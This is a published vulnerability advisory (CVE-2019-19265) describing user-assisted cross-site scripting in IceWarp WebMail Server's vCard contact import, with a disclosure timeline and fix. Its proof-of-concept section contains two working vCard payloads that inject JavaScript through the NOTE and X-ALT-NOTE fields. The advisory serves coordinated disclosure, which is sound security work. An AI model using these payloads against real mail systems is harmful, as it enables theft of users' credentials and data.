Advisory: IceWarp: Cross-Site Scripting in Notes for Contacts

During a penetration test, RedTeam Pentesting discovered that the
IceWarp WebMail Server is prone to user-assisted cross-site scripting
attacks in its contact module. If IceWarp users import a manipulated
vcard, for example from an email, attackers can run arbitrary JavaScript
code in the users' browsers.


Details
=======

Product: IceWarp WebMail Server
Affected Versions: IceWarp 12.2.0, 12.1.x, probably earlier as well
Fixed Versions: IceWarp 12.2.1.1
Vulnerability Type: Cross-Site Scripting
Security Risk: high
Vendor URL: https://www.icewarp.com/
Vendor Status: patch available
Advisory URL: https://www.redteam-pentesting.de/advisories/rt-sa-2019-15
Advisory Status: published
CVE: CVE-2019-19265
CVE URL: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-19265

Introduction
============

"Secure professional email with own domain and revolutionary integration
with chat. Shared calendars for perfect planning."
(from the vendor's homepage)


More Details
============

IceWarp allows users to import contacts in vcard format [1] from emails.
These contacts can contain HTML notes as can be seen by exporting notes
created by IceWarp. The following line shows such a note:

------------------------------------------------------------------------
X-ALT-NOTE;FMTTYPE=text/html:<h1>RedTeam Pentesting</h1>
------------------------------------------------------------------------

By inserting JavaScript here, a cross-site scripting vulnerability can
be exploited if an IceWarp user imports such a manipulated contact into
IceWarp. The property handling for the HTML formatted note "X-ALT-NOTE"
and "FMTTYPE" is not defined in the vcard [1] standard, but is borrowed
from the calendar file format ical [2]. Originally, the vcard standard
uses the property "NOTE". This field can be used to exploit a cross-site
scripting in IceWarp, too.


Proof of Concept
================

Send an IceWarp user one of the following vcards:

------------------------------------------------------------------------
BEGIN:VCARD
VERSION:4.0
FN:Pentesting\, RedTeam
N:Pentesting;RedTeam;;;
X-ALT-NOTE;FMTTYPE=text/html:<img style="display: none\;" src="x" onerror="alert('RedTeam Pentesting')">
EMAIL;TYPE=INTERNET,PREF:testuser1@example.com
END:VCARD
------------------------------------------------------------------------

or

------------------------------------------------------------------------
BEGIN:VCARD
VERSION:4.0
FN:Pentesting\, RedTeam
N:Pentesting;RedTeam;;;
NOTE:<img style="display: none\;" src="x" onerror="alert('RedTeam Pentesting')">
EMAIL;TYPE=INTERNET,PREF:testuser1@example.com
END:VCARD
------------------------------------------------------------------------


Workaround
==========

None known.


Fix
===

Update to IceWarp 12.2.1.1.


Security Risk
=============

Attackers without an account on the IceWarp system can send specially
crafted vcard [1] files to IceWarp users. If an IceWarp user imports
that new contact into the IceWarp web application a cross-site scripting
vulnerability can be exploited. That could, for example, be used to
display a fake login form and get access to the user's credentials, or
to access any data stored in IceWarp such as emails, contacts, tasks,
files or appointments. Access to these could be abused to exploit the
vulnerability described in rt-sa-2019-016 [3].
This is considered to pose a high risk.


Timeline
========

2019-11-11 Vulnerability identified
2019-11-15 Vendor notified
2019-11-22 Customer approved disclosure
2019-11-25 CVE number requested
2019-11-25 CVE number assigned
2019-12-02 Vendor released fixed version
2019-12-10 Customer approved disclosure
2019-12-13 Fixed version released
2020-01-02 Advisory released


References
==========

[1] https://tools.ietf.org/html/rfc6350
[2] https://tools.ietf.org/html/rfc2445
[3] https://www.redteam-pentesting.de/advisories/rt-sa-2019-16


RedTeam Pentesting GmbH
=======================

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=============================

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